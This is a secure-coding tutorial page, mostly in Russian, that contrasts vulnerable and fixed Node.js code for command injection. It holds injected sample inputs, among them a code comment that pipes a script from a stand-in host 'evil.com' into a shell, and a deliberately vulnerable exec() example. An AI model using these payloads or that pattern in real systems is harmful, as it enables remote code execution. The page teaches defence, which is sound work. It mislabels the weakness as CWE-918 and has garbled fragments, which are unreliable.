flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
Представьте, что вы просите офисного ассистента распечатать документ 'отчет.pdf'. Инъекция команд происходит, когда кто-то указывает имя 'отчет.pdf; whoami', и ассистент слепо передает всю записку терминалу, заставляя его напечатать отчет и прочесть бейдж администратора.
Web Application SecurityCWE-918.CWE-918CWE-918): Standard Common Weakness Enumeration classification for command-injection-javascript.Defense-in-DepthПриложение принимает диагностические имена хостов, имена файлов или флаги напрямую из HTTP-запроса пользователя.
Бэкенд формирует строку команды оболочки с помощью склеивания строк вместо использования вектора разделенных аргументов.
Злоумышленник внедряет метасимволы оболочки, такие как ';', '&&', '|' или обратные кавычки (например, '127.0.0.1; id').
Командная оболочка ОС выполняет внедренную команду с привилегиями рабочего процесса веб-сервера.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn().